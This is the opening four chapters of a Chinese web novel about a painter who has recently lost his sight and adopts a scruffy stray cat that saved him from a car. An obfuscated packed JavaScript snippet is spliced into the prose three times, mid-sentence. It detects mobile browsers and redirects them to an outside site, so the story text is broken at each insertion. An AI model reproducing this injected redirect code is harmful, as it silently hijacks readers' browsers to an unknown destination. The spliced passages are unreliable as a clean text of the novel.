《这个世界不能没有猫》 1. 第 1 章 顾寻声摸索着手机点了接通,第一时间把手机远离了自己的耳朵。 “寻子,吃早饭了吗?今天有好一点吗?我一会儿过去看你?”电话那头传来一连串的问题,季川一如既往的大嗓门瞬间灌进顾寻声脑子里。 “我没事。”顾寻声回了一句,又问,“画坊的生意还行吗?” 季川感觉顾寻声今天的状态似乎还不错,不由放了心,嘿嘿一笑,“好着呢。你的画挂在大门口,进来的客人潮水一样。感觉得雇两个人才能忙得过来了。” 顾寻声不觉得光靠自己的画就有这么大功能,但季川最近说起话来一反以前的毒舌,变得小心翼翼,分外地在乎他一个失明人士的心情。顾寻声虽然觉得没什么必要,但心里还是受用的。 “那你忙你的吧,”顾川摸索着走向窗边,“我一会儿叫楼下的饭馆儿给我送份午饭。” “也行。”季川那头有顾客在叫他,他答应了一声,又对顾川说,“那我晚上去看你,大概5点半吧,等我一块儿吃饭哈。” “嗯。”顾寻声应了一声挂了电话。 手机揣进兜里,顾寻声拉开了窗帘。虽然看不到熟悉的那片光景,但眼前却一片红蒙蒙的色调。随之而来的,还有笼罩在全身的那种暖洋洋的感觉。 3月底了,气温升高,春天的气味已经弥漫在整个天地之间了。窗户缝里流溢进来一丝一缕的属于春天的清爽又略带暖暧的花草香味,缠绕在顾寻声的鼻尖。 顾寻声伸出手指,在空气中描画着那些熟悉的事物的轮廓。 从这个角度看过去,老小区东边有个爬满紫藤的长廊,此刻紫藤花应该开了。紫色的瀑布从木格子间流泻下来,从上看去,枝蔓摇动间,紫色的挨挨挤挤的花儿多少透着一丝独属于这个色调的温柔娴静。再过来是一个巨大的花坛,花坛里是些常见的景观花,小小的密密的,也透着俏皮可爱。花坛的西边则是间隔种植的梅花、樱花,偶尔间杂玉兰。老小区的梅花已经开到尾声,樱花则紧随而上。一阵风吹起的时候,花瓣纷纷扬扬的,如同一阵绵绵的细雨,那落下与飘扬如一支反复点染的画笔,填满人内心的空白,扰得人身体酥酥麻麻。玉兰则与世无争,开得格外高雅静美,但那如玉的美感,也会让人不禁目光久久停驻。 如果是以前,他也许也会画一两幅画儿记录这春色。 沐浴着阳光,顾寻声有点儿恍如隔世之感。 从意外撞到头失明,到今天,竟然不知不觉已经一个多月了。 顾寻声内心里突然有些莫名的躁动,他回过身摸索着。家里的家具已经被季川挨个包上了防撞条。他脑子里也有着清晰的分布,对空间的敏感,让他很快就摸到了门口。 换鞋的时候,他摸到了一根盲杖。肯定是季川带来的,却没跟他说过。 顾寻声犹豫了一下,拿起了盲杖。在一个月之后,他的手终于又一次按在了防盗门的门把手上。 微用力,门打开了。 顾寻声心慌了一下,然后又强行让自己镇定下来。他脑子里慢慢生成楼梯延伸出去的样子,手下意识地顺着墙壁往前摸,是石灰的质感,在指尖凉凉的。 他转过身,盲杖不太熟练地往下敲了一下。没错,是楼梯。 摸索着扶手往下踏了一步,没问题。再踏一步,嗯,踩稳了。 走了两步,顾寻声就对下面的路有了数。一路下了三楼,打开了单元楼的大铁门。 这铁门是深绿色的。顾寻声心里默默想着。 出了单元门,顾寻声多了一丝踌躇。小区里的路他倒是还算熟悉,但看得见的人正常行走和失明的人摸索着走,简直是天壤之别。 原来楼下这么热闹。耳朵里传来了车声、人声还有风声,还有一些他现在尚不能辨别的乒铃乓啷声,像是在倾倒什么又或是摔打着什么。 站了一会儿,顾寻声抬脚往前走。两边都是花坛,往前走一点儿路,就到了小区的小道。 盲杖敲打在空阔地方的声音和敲打着楼道楼梯上的声音不太一样,顾寻声还没能学会从声音的不同来区别脚下的情况。 他也怕不小心打到别人,盲杖只是小心地往前探一点点,脚部挪动的也不大。 这片熟悉的地方,在眼睛一片灰蒙的时候,竟然让他觉得那么空阔而危险。 他就像是一个第一次走出家门的孩子一样,缩手缩脚,心怀畏惧。 他有些犹疑地探着,很慢很慢,但没停下来。 转向了小路,他的盲杖在往身体右侧伸的时候,啪地很轻一声打在了什么上面。 “喵嗷!”拱在垃圾箱上正往里探的杂色小毛团子被这突然一棍子惊得噌地窜了起来,浑身毛陡地一炸,转瞬间身体就横掠了出去,直接一个飞跃跳到花坛上,然后窜进了车棚里,停在了一辆电动自行车下面。厚厚的挡风被遮住了它,它这才停下来。 顾寻声只感觉有猫尖锐地叫了一声,然后一阵风似的刮过,随后一切恢复平静。 他心里也是一惊,立刻下意识道:“对不起。” 等了一会儿,他也没听见再有任何的动静,手里的盲杖又轻轻往旁边探了一下,非常轻微地“啪”的一声,鼻尖渐渐嗅闻到不太好闻的味道。 “是垃圾箱。”顾寻声轻声告诉自己。“刚刚打在垃圾箱上,吓到小猫了。” 他侧耳听着,没再听见小猫的叫声了。 小区里有很多的猫,他这栋楼下也时不时能看见几只扒垃圾桶的猫,大多数都把自己打理得干干净净的。 他重新往前走去,旁边是垃圾桶,再往东一点儿是车棚。贴着边走,会安全一点。 盲杖又在地上轻轻地哒哒地敲了起来。 车棚里,刚刚被吓飞了的杂色小猫团小心翼翼地探头朝着顾寻声看过去。 杂色小毛团的瞳孔绿油油的,小眼神儿显得很是透着一股机灵劲。瞅着那人一点点往前走着,它也悄悄踩着小猫垫,穿行在一辆辆电动自行车下,尾随着他。 这个人类它见过的。 之前他有拿着闻着就很香的食物到楼下来喂过猫,当时他是特意来喂一只长毛三花的,那三花长得可美呢,又会绕着人类的腿嘤嘤嘤地撒娇。 当时,它听见人类很温柔地说,吃吧。 等人类走了,它蹑手蹑脚地凑上前想要吃上一口,被表面娇娇软软貌美如花的三花小姐姐实际凶悍霸道可怕如虎的三花大姐大一爪子挠开了。幸好它躲得快,要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401735|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然脑门上又得留下两道伤痕。三花大姐那爪子,磨得可锋利了呢。 它跳到一辆车的车座上瞅着顾寻声的背影。 他走得好慢。 沿着车棚往前走又是花坛,杂色小毛团随便跑了两步就跟上了他。花坛在这栋楼拐角处延伸向南,小毛团就在花坛边的路牙子上跑。 他走得还挺稳的。 小毛团在花叶底下藏头藏脑的,浑身的毛随着它跳跃扑棱扑棱。 一辆电动自行车从另一边的车棚下驶出来,对向的轿车为了避让,朝着顾寻声这边打轮靠过来。此时离得还远,若是眼睛看得到,行人会下意识往后退两步。 但这个人类…… 杂色小毛团一个急窜到了顾寻声脚下,一口咬住了他的裤脚。 “什么……” 顾寻声感觉有什么坠着他的裤脚,不是很重,但也有些重量。 他下意识蹲下身去摸,短暂地摸到了一手毛,但手里的东西迅速脱出了他的手掌。 “猫吗?” 他虽然喂过猫,但其实还从来没有摸过猫。 这只小东西虽然避过了他的手掌,却还不松口地咬着他的裤脚,坠在他右腿后面。 “吱——”车子急刹在顾寻声面前,车主降了车窗:“喂,你不会往边上让让啊,你眼睛——” 顾寻声吓了一跳,转过头看向声音传来的方向,是在说他吗? 车主声音一顿,摸了摸鼻子,视线在顾寻声脸上仔细看了看。 顾寻声一双眼瞳温润明亮,宛若一江静静绵展出去的春水,清澈又静谧。若不是一双瞳孔里没有任何锐利的光芒,没有人猜得到这样一个清俊带着艺术气质的年轻男人竟然是一个盲人。 没有焦距,看他的时候有些不确定。车主暗暗嘀咕一声,还真是个瞎子。心里多少有些庆幸自己开得不快,想着刚刚自己的大嗓门,他有些歉疚了,眼神飘了飘,还是说,“对不起哈,没注意你,你没事吧?” 顾寻声反应了一下,才明白发生了什么。 摇摇头,淡淡道:“没事。” 车子开走了,顾寻声却不打算继续往前摸索了。他现在这样,应该每天往前走一点点,熟悉了再往前探,否则走在路上,不仅自己危险,也是给别人添麻烦。 他连盲杖都还没熟悉怎么用呢。 刚刚那个车主一定是下意识觉得他会躲一下,才往他这边开。没想到他却蹲了下来,这是肯定来不及躲了,车才刹停了下来。 是坠在他裤脚的小毛团子救了他。 顾寻声微微笑了一下,心头生出奇异的感觉。他又朝自己的裤脚摸过去,没摸到毛毛的触感,倒是感觉自己的裤子上多出了两个洞眼儿。 “呵——”顾寻声笑了一声,感觉自己的心情一下子明媚起来。刚刚那种摸索着前进时恐慌又茫然的情绪如潮水般退去,属于春日的温暖在这一刻终于也落在了他这个不幸的人身上。 感觉不远的地方,仍然有一道小小的视线凝在他身上。 他忽然闻见了风里裹挟来的泥土、青草和花香气。 “猫猫——”他听见自己说,带着一丝笑意地,“谢谢你救了我。我想摸你一下,可以吗?” 2. 第 2 章 顾寻声等着面前这只猫的反应。 他看不见,也不知道这毛团子的眼神怎么样。又或者,小猫不太能听懂人类的话?他只是莫名地感觉到小猫应该就在他身边,没有离开。 他往电动车棚那边退了退,摸索着在车棚里的一个石台上坐下来。 “过来呀,小猫。”清俊的男人嘴角带了一丝笑意。 小猫本能地想要跑开,这是它面对人类时的本能反应——跑,躲,藏起来。虽然它还不太大,但是过往的经历告诉它,人类更喜欢三花大美女,对它这种毛毛像是烟熏火燎过,又像是在煤灰堆里滚过的杂色小猫是不喜的。 但是顾寻声往前探的手太慢太慢了,慢得让它来不及害怕。 他俯身的动作很轻很慢,像是怕惊吓着他。 他的手往下探,探得很慢,手指微微张开,悬在半空。等了一会儿,顾寻声才把手落了下去,提着的一颗心在落到一片柔软上之后陡然一松。 “你没跑,”顾寻声顺着毛摸了一下猫猫的脑壳,声音轻柔,“还在这儿。” 温暖的手掌落在头顶,小猫圆溜溜的眼睛注视着顾寻声,静静地看着他的动作。修长的手指一次又一次理顺着它的毛发,他摸得很认真,像是在用眼睛看一样。从头顶摸到后颈,然后又从后颈摸到耳朵。 摸到耳朵尖的时候,它忍不住抖了一下。 顾寻声笑了一下,“耳朵尖尖的,凉凉的。” 他喟叹着又摸了摸,以前他从未摸过猫,他的眼睛足够敏锐,作为一个画家,他轻而易举地就能捕捉到猫的形态,描摹出猫的轮廓。 但在失明后的今天,他第一次触摸这种小小生灵。那种特别的感受,让他又一次觉得回到了这个世界,而不是被隔绝在一切之外。 顾寻声的手继续往下,他摸过它的脸,摸过它的下巴。指腹蹭过毛毛的时候,有一点粗糙的触感,但不疼。他摸得很轻,很慢,像在摸什么很珍贵的东西。 “眼睛是圆的。”他又说。 小猫依然静静地凝视着他。这双无神的眼睛正望着他,它知道他看不见。虽然它的猫生还不算长,但作为一个在猫群和人类社群里都不算受欢迎的小猫,它还是有些阅历的。 “毛毛很软。”他说。 小猫蹲在那儿,一动不动。他的手掌很大,能把它的整个脑袋包住。手掌上有一些硬硬的茧子,蹭在脸上有点痒,但不难受。他身上有一股奇怪的味道,像是什么植物的油脂,混着洗衣液的味道,和一点点阳光晒过的温度。 “你救了我。”他说,“我叫顾寻声,你呢?” 小猫想了想,张了张嘴,喵了一声。 顾寻声笑得更开了。 “那就叫你小笨蛋吧。”他说,“刚才冲出来那么莽撞,不是小笨蛋是什么?” 小猫瞪着他,尾巴甩了甩。 顾寻声好像感觉到了它的眼神,又伸手摸摸它的脑袋:“开玩笑的,你聪明得很。比我聪明。” 顾寻声就那样坐着俯着身,小猫就蹲在他面前。路上的人来来往往,有人回头看他们一眼,又走开了。 午后的太阳暖洋洋的,明媚的光照进车棚,打在他侧脸上。他的眼睛很好看,只是没有焦点。小猫看着那双眼睛,不知道他在看什么。 “要不要跟我回家?”他忽然问。 “所以你中午不好好在家吃饭,也不跟我说一下,就冒着风险摸着出去了一趟,”季川扶着脑门一脸的无语,然后又转头看向蹲在沙发上的那个毛团子,“捡了这么个脏兮兮的丑团子回来?” 季川脸上的嫌弃简直溢出来了。 顾寻声正往厨房给他倒水,闻言头也不抬,却好笑道:“你家那三只,请问哪一只好看了?见多识广的网友都说长得非常抽象,你还好意思嫌弃我家的?” 季川听见他话语里的笑意,以及那久违的鲜活气,不由愣了愣。过了几秒,他才咕哝了一句,“那叫有特色,哼,反正比你家这只好看。” 顾寻声没搭理他。季川把手臂搭在沙发背上,懒懒散散地斜靠着,眼神又朝旁边那个毛团子瞟过去,小声道:“看你丑的。” 本来安静蹲在那儿的小毛团子坐起身来,眼睛盯着他。 季川熟悉猫的眼神,知道小猫这是生气了。看这小眼神儿,犀利着呢,而且越看越像厨房里那位日常瞅他的眼神。 他不由乐了,一边说着“能赖上顾寻声,算你有能耐”,一边斜着身体想探手过去摸一把。 本来安静的毛团子噌地立起来,然后轻盈地跃上沙发扶手,又蹲了下来,瞅着季川。 季川感觉被鄙视了,他站起身来靠近:“嘿,你这小家伙个头不大,身手还挺不错。” 身上那股子逗比属性又一次暴露出来,朝着毛团子就扑过去,“不让我摸是吧,我就偏要摸到你!” 顾寻声端着水出来就听到季川的拖鞋声在地上嗒来嗒去,没个消停。 “……” 没想到小毛团子也没跑开,就在沙发方寸之地左闪右避,辗转腾挪,灵巧异常。 季川原本自信自己征服了家里那三个无法无天的猫主子就可以制服天下一切喵星生物,没想到这儿遇到了滑铁卢,反而一下子来了劲儿,大睁着眼睛,双手一张,做出猛虎扑食的举动,嘴里嗷呜嗷呜地朝着小毛团子压了过去。 顾寻声:“……”无语。 小毛团子在他手臂扑来的时候身子一矮,季川只感觉一道温软的毛快速擦过他的胳膊肘,再抬头,小毛团子已经冲出他的一人包围圈,窜到了顾寻声的脚边,紧紧挨着他,两只小猫爪子还抱着顾寻声的脚脖子。 顾寻声看不到,但是感觉到了,无奈地对季川说:“你别吓到它。” 季川低头一看,好家伙,那小团子一边抱着顾寻声的腿一副求安慰求保护的样子,结果瞅着他的那一双绿色小圆瞳里全是嘚瑟。 季川:额,怎么感觉茶茶的…… 对着顾寻声,季川可是有什么说什么的性子,立刻道:“我才吓不到它,你看不到,它看我那眼神,又是得意,又是鄙视的,就跟你……平常看我的时候差不多。” 顾寻声:“……”又是被发小无语到的一天。 “嗨,你别说,你还真别说。”季川感觉灵光一现,嚷嚷道,“它仗着自己瘦瘦弱弱的小身板靠人身上,还时不时抖两下的样子,这不跟你小时候恶人先告状的时候一模一样!” 顾寻声眼睛看过来,虽然看不到焦距,季川却仿佛又看到了平常那个眼神锐利的顾寻声,立刻又应激似地说:“我可没说谎啊,宠似主人型!你看我家那三只,你上次还说他们臭屁的样子跟我一模一样,简直就是我亲生的!” 顾寻声呵了一声,冷嗤道:“你家那三个是你接生,你养大的,不像你才怪了。我家这个才领回来几个小时,怎么就像我了?还有,小时候你作恶多端、胡作非为、无法无天、猫嫌狗厌人不待见的时候你不说,光记得我告状了?” 两个人是从小穿开裆裤一起长大的兄弟,互相之间谁还不知道彼此小时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401736|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那点儿“黑历史”。 季川摸摸鼻子,不敢作声了。主要是他懂事晚,小时候吧,只有顾寻声能克制住他,也只有顾寻声才愿意带他玩儿。说起小时候,他就不大有底气反驳了。 顾寻声俯身抱起自己脚边的小毛团,掂量了一下,感觉小毛团特别轻,确实如季川所说的“瘦瘦弱弱”,微皱了一下眉头,“怎么这么瘦?” 季川看了一眼,“在外面流浪,吃得不好,也睡得不好吧。” 他又看了一下,说:“可能快两个月了,但是也就胖达他们一个月的样子。确实瘦。” “一会儿我回去一趟,把胖达他们小时候吃的用的送过来,也省得你买了。”季川想了想,又说,“哦,对了,得先洗个澡,驱驱虫,也干净点。” 顾寻声也不客气,点头:“谢了川子。” 季川摆手,“跟我客气啥。反正都是小猫用的东西,胖达他们现在胖得很,也用不上了。” 他一边说一边朝顾寻声看过去。 已是黄昏里,屋里的灯光都开着,温暖又明亮。 客厅的窗帘此刻都拉开着,外面晚霞橙红的光线簇拥着照进屋里,映照在墙上挂着的一幅幅画上,一片绚烂。 顾寻声就站在那一片霞光里,垂着头,温暖的大手稳稳地托着杂色的小毛团子,另一只手轻柔地抚摸着小毛团子的脑门,看上去特别珍惜特别爱护的样子。 他嘴角带着微微的笑意,青年清俊,长身玉立,依然是如故的让人瞩目。 季川默默看着,想着。他们以前就是这么相处的,一条裤子穿大的兄弟也没什么秘密,常常互损互怼,需要帮助了也不讲客套话。 季川他爸常夸顾寻声是好孩子,他妈把顾寻声当亲儿子养,他自己虽然表面嘀咕几句,实际心里也无数次开心于自己有个这么好的兄弟。 但那是以前。 顾寻声失明之后,他感觉这个从小一起相伴长大的好友像是被掏空了灵魂,一下子失去了所有的生机。 一个普通人失去视觉会做什么?会怨怼?会咒骂?会痛哭?而如果这个人还是一个依赖视觉的画家呢? 但顾寻声都没有。他只是很平静,在拉着窗帘不开灯的漆黑房间里长久地坐着,像是一截枯木。 那段时间,季川都快急疯了,生怕顾寻声哀莫大于心死,一不注意走了绝路,如果不是顾寻声坚持,他差点扔下画坊所有原定的开业事宜,一心一意地在顾寻声这里照顾他。 最后还是顾寻声开始正常吃喝,并且学习一个盲人如何自己照顾自己,他才稍微放下心来,但每天还是要打回好多个电话,询问顾寻声的情况。 没想到顾寻声今天竟然主动出门了,而且还带回了一只小猫。 好丑一只小猫。 但顾寻声喜欢。 顾寻声,寻子,身上又有了那熟悉的活人气。那种淡淡的疏离又温柔的矛盾气质又回到了顾寻声身上来了。 季川鼻子有些发酸,几乎要落泪了。 他强自转过头去,盯着电视柜旁边的那棵植物。 这棵树之前被顾寻声照顾得很好,绿油油的。上个月顾寻声没有管,季川自个儿浇了回水,现在一看竟然已经全是枯黄叶子了,好几根枝干上光秃秃的。 季川:“……” 突然伤感不下去了。要不还是赶紧找个机会偷偷换掉这棵树吧,反正顾寻声现在也发现不了。 “那什么,”季川忽然站起来走向餐桌,语气有点飘忽起来,“寻子,先吃饭吧。” 3. 第 3 章 吃过晚饭,季川回家了一趟。 仔细想了想那小毛团子一只小奶猫需要的一切,他把家里有的全部都拿上了。开柜门的时候,他家那三只——胖达、师傅、阿呆还以为是有好吃的了,瞬间窜了过来,结果看季川是装进袋子里往外拿的样子,立刻暴怒。 和三只猫主子大战三百回合,季川才摸摸汗,心有余悸地离开了家。 把东西送到顾寻声这儿,他赶紧叮嘱了一些照顾猫的小知识,留下一句“有事儿随时给我打电话”,就立刻回家安抚自家的三只猫去了。 没想到一个长得彪悍威武,行事雷厉风行的家伙成了猫奴之后会变成这样。顾寻声心里默默念叨一声,送他出门。 东西都放在门口,季川贴心地用大小不同的夹子夹住了装东西的袋子,又把吃的、用的分类堆放。顾寻声一摸就知道哪一袋是什么东西。 驱虫的、猫砂、猫粮、猫罐头、猫条、羊奶粉、奶糕……好像还有补微量元素的、益生菌什么的之类的。还有一袋子摸起来像是小猫的衣服、牵引绳、围脖什么的,一大堆。 还有放在一边颇占地方的小号猫爬架、猫砂盆、猫跑轮。还有逗猫棒、小鱼玩偶、小球之类的猫玩具。 季川刚刚都带着顾寻声摸过一遍了,只是顾寻声也没有能全部记住。季川还说家里还有一些东西没拿过来,实在是太多了,明天再送过来。至于洗澡,最好等小猫适应一下再说,明天他来帮忙。 顾寻声挨个把东西归置到空柜子里,感觉小猫有些安静,他喘了口气,唤道:“猫猫。” 这么一唤,顾寻声才想起自己还没给小猫起名字呢。 小小的毛团子跳下沙发,在他腿边蹭了一下。顾寻声开了装满食物的柜子,把小猫直接抱起来,问:“你想吃哪个?” 小毛团子在他怀里动了动,顾寻声笑了一下,说,“带你回家之前跟你说的,以后要让你吃多多的好吃的,你就是我的家人了,没骗你吧?” “自己挑吧,看看喜欢哪个?吃完以后我给你买。” 小毛团子跳下他怀里,一头扎进柜子里,这个闻闻,那个嗅嗅。平常饥一顿饱一顿地,原来掉进满是食物的天堂里竟然是这种感觉。它兴奋地溜达来溜达去,感觉每个都很好吃的样子。 好不容易选定一个鱼肉罐头,小毛团子站定等顾寻声来开罐。结果半天不见顾寻声反应。 它反应过来顾寻声看不见,跑过去用头轻轻顶了一下顾寻声的手掌,然后绕着顾寻声的手指转了一圈。 顾寻声似乎懂了,手掌下压摸了一把,柔软的猫猫擦过掌心有些酥酥麻麻的,很好摸。他边摸边问:“选好了?” 小猫“喵——”了一声。 顾寻声于是摸向柜子里,“这个吗?” 小猫不吭声。 顾寻声又摸下一个,“这个?” 小猫仍旧不吭声。 顾寻声耐心地一个个摸下去,直到摸到第五个,触手感觉是个不小的罐头,问:“这个?” 小猫:“喵~~~~” 顾寻声噗嗤一笑,“怎么突然叫得这么软绵绵的了,是想吃这个对不对?” 他突然有些相信季川反复念叨的“这只小毛团感觉像是成精了”,但转念一想,季川家那三只猫一涉及到吃还不是精得要命,又笑了。 “好,开这个给你吃。”顾寻声拿出了罐头,摸了一下,用了点力打开了。打开之后,他凑到鼻尖闻了闻,腥气还挺重的。 小猫喜欢吃这个?顾寻声有些好奇地把罐头摆在小毛团子面前,它低头就是一通吭哧吭哧地狂炫,“这么好吃呀?” 顾寻声听着小猫大口吃,尾巴还扫过来绕在了他的手臂上,缠来缠去的,怪痒的,忍不住又轻声笑了笑。 可惜看不到小猫吃东西的样子,他心里又叹息了一声。 守着小猫吃了一会儿,顾寻声取出猫碗去洗,一个粮碗,一个水碗,洗的干干净净的,倒上粮和水。又把猫砂盆清理了一下。其实季川收拾得很干净,他不过是擦去一些浮灰。 把猫砂倒进猫砂盆里,他招呼吃完罐头喝完水的小猫过去,“季川说不是所有小猫都会用猫砂盆的,你试试?” 小猫碧绿的眼瞳里映着这个男人,一个温柔带着浅笑的男人。它看了一会儿,猫胡子抖了一下。然后配合地跳进猫砂盆里,前爪子扒拉了两下猫砂,爪感似乎还不错。 顾寻声听到声音,笑意更浓,“你好棒呀猫猫,居然自己就会用猫砂。” 小猫又抖抖胡子,“喵~”了一声。 顾寻声感觉那声音里多少有些傲娇了,又勾了勾唇角。一贯寂静无比的房子里,有了这一声猫猫叫声,似乎热闹了很多。 摸索着又打开了一个袋子,顾寻声触手摸到了一片软绵绵,仔细摸了摸,这软绵绵上还坠着一个蝴蝶结,应该是猫窝。拿出来之后袋子还是沉沉的,顾寻声再往下摸,竟然还有好几个叠在一起的猫窝,有的绣着猫爪子印的花纹,有的还吊着棉花小球。 顾寻声:“……”季川这是买过多少个猫窝,就他家那三只猫睡得过来吗? 不过他想了想,还是把猫窝一个个拿出来,铺展开。有的需要简单地组装,他稍微费了点功夫,多摸索了一会儿也就立起来了。 季川拿来了六个猫窝,各个的形状和材质略有区别。有的棉花略薄一些,有的棉花填的满满的。有的里面还带着小凉席,有的则又加了一层厚厚的棉垫子。有的是圆的,有的是方的。有的像个小房子,有的像个小面包。 顾寻声把这六个猫窝挨个摆在电视柜前面。他家的电视一向闲置没什么用,摆在这也不影响什么。摆好之后他把茶几推到角落里,自己退到沙发上坐下。左右换着角度看着,像是在评估什么。 猫猫本来蹲在地上看他动作,现在跳到他身边,侧头打量着他。这个人类不是看不见吗?怎么这么认真地看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17401737|200423||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?又能看见了? 顾寻声自然还是看不见的,不过很强的空间想象能力让他能大致在脑海里面构建起这六个猫窝搭配在一起的样子。除掉颜色不计,这六个形状各异的猫窝放在一起……还是有点太奇怪了。 顾寻声别别扭扭地上前,蹲在那儿把六个猫窝调换了一次位置,看了看,又调换了一次位置。挥挥手,“猫猫,过来试试。你想睡哪一个?” 猫猫不慌不忙地溜达过来,先在顾寻声手心里蹭了蹭,然后跳进了顾寻声面前地那个猫窝里,对他软软地“喵”了一声。 顾寻声往前探手,就又摸到了那个毛茸茸的小小的猫猫头,夸赞:“真乖。” 小毛团子现在睡的是个小房子,原来它喜欢小房子形状的猫窝。顾寻声想,他也觉得房子形状的猫窝应该是里面最符合他审美的了。 小猫的眼光真不错。 不过六个猫窝……还是太多了。 顾寻声又摸摸小猫的耳朵,又摸摸小猫的后颈,又摸摸小猫的下巴。触感真的很柔软,也很温暖,除了极少数的地方有点儿打结之外,其实小猫也把自己打理得很不错了。 “猫猫好乖。”他说,想了想又说,“得给你起个名字,不能总叫你猫猫。” 顾寻声想到季川家那三只。三只猫毛色各不相同,性格各异。丑是丑了点,但耐不住季川是真喜欢呀。所以季川起名字也是花了心思的,顾寻声见过几回,觉得非常贴切。 全身白色只有一只眼睛被一圈黑环绕的那只,季川说是有国宝之相,大胆碰了个瓷,起名叫“胖达”。 橘白色那只更是奇异非常,从一边肩膀处往另一边腋下斜拉了一条白线,陡一看像极了和尚穿着袈裟,被季川尊称为“师傅”。这只后来横向疯长之后更有了高僧之相,直让人感叹季川有预见力。 最后一只是只小狸花,毛色倒是没有什么特异的,只是是个对眼儿,看着就感觉不大聪明。实际又确实呆得很,刚出生的时候饿了也不知道找妈妈要吃的,就在原地干嚎,还是季川每隔两个小时就喂,真真一把屎一把尿拉扯大的。从小跟在“胖达”后面捣乱破坏,跟在“师傅”后面偷吃偷喝,结果每次被季川发现的时候,带头的“胖达”和“师傅”都早就消失得无影无踪,唯有它愣愣地留在案发现场。季川亲切地称呼它“阿呆”。 “胖达、师傅、阿呆……”顾寻声觉得这三个名字贴切是贴切,就是不够文雅。 他摸着手底下小猫的脑袋,感觉小猫在抬头看着他,思索了一下,试探着说,“猫猫,叫你花花怎么样?” “因为是在春天遇见了你,”顾寻声缓缓解释着,“是因为外面开花了,我想去看一看,才会遇见你。” “花花,是很有活力的感觉。如果在画里面,一定是很绚丽很热闹很引人注目的颜色。” “花花是很美的。”顾寻声笑了下,“你一定也很好看。” “花花,欢迎回家。” 4. 第 4 章 顾寻声的房子不算大,七十平左右,两室一厅。 顾寻声领着花花在房子里转了一圈。进门右手边是厨房,往前走就是客厅。而另一边则是卫生间和两个挨在一起的卧室。 顾寻声睡了南面的卧室,背面的卧室则被他改成了画室。 相比较许多城市的新商品房,老小区有一个特点是每个房间都不算小。画室是整个屋子里最大的一个空间,有二十多平。 对于画家来说这里多少显得逼仄了,不过对于顾寻声来说,这个大小足够了。老小区很静谧,绿化也多,顾寻声从小到大就喜欢这样的地方。若是有需要的话,他会出远门去采风,过不了多久,他就又会回到这儿。 从上了这座城市的大学到现在,他一个人在这个房子里住了好几年了。 低头看着探头探脑打量画室的小毛团子,顾寻声打开画室的灯,“进去看看吗?这是我画画的地方。” 画室的墙面上挂满了画,地上也堆着画,相比较其他房间的整齐干净,画室简直像是一个被画堆满的异次元空间。那些画的风格各异,但色彩却总体是明亮的、清丽的。 听着花花跳上凳子,极轻盈地落下,发出小小的动静。 顾寻声也抬头看向这间已经被他封闭一个月的画室,一个月以前,他每天都在这间屋子里度过一天大多数的时间。他喜欢画画,喜欢执起画笔把脑中那些瑰丽的、空灵的图景落在空白的画布上。 那曾是他的全世界。 但……这间画室的灯已经一个月没有开过了。也许窗台上摆着的那盆绿萝,也要干枯死了吧。 但,现在这盏灯又被他亲手按亮了。虽然他此刻看不见,但是听着花花跳来跳去的动静,也许它还挺喜欢这个房间的吧,也许它还很喜欢他曾经画出来的那些画呢。 就把这盏灯留给花花吧。 顾寻声微微笑了一下,没有再关上门。 “花花,走,到睡觉的时候了。” 第二天一早,又是一个晴好的天气。一夜做了一些杂七杂八的梦,顾寻声被季川打来的电话吵醒的时候,头脑还有些昏沉沉的。 “寻子,咋样?”季川的大嗓门又是直冲云霄,吵得顾寻声脑门更疼,“跟你家那小丑猫相处得咋样?昨晚上没跑你房间里拉屎吧?” 顾寻声:“……它很乖。” “切,我才不信。”季川正在刷牙,说话的时候呜龙呜龙的,他又问着,“猫砂盆它会用了吗?猫粮给它倒了没有,我带过去的是幼猫粮,我看了下没过期,才送过去的,以前师傅特爱吃那个,长大了以后就不喜欢了,还是上次我下单下错了才又买了,本来准备拿去喂小流浪了……猫罐头它应该也喜欢吧,阿呆特别喜欢那个罐头……猫窝你昨天选了哪个?那个薯条形状的我觉得最好看……猫滚轮装起来挺费劲,晚上我去给你装……” 季川絮絮叨叨地说着,突然一停,吐出满嘴牙膏沫,“哦,对了!你家那只小丑团子,起名了吗?” “我想了一下,看它的毛色,我觉得叫烟熏火燎最合适了,要不然也可以叫煤球!我觉得非常贴切,你觉得怎么样?” 顾寻声皱眉,冷哼一声,“它很聪明,自己吃饭上厕所都挺好。什么煤球,它有名字了,比你家那个胖达、师傅、阿呆好听文雅多了。” 季川不服气地说:“不可能!胖达、师傅、阿呆多亲切啊,我可不信你能取多好听的名字,说吧,它叫什么?” “花花。”顾寻声一边掀了被子从床上下来,一边郑重地告知。 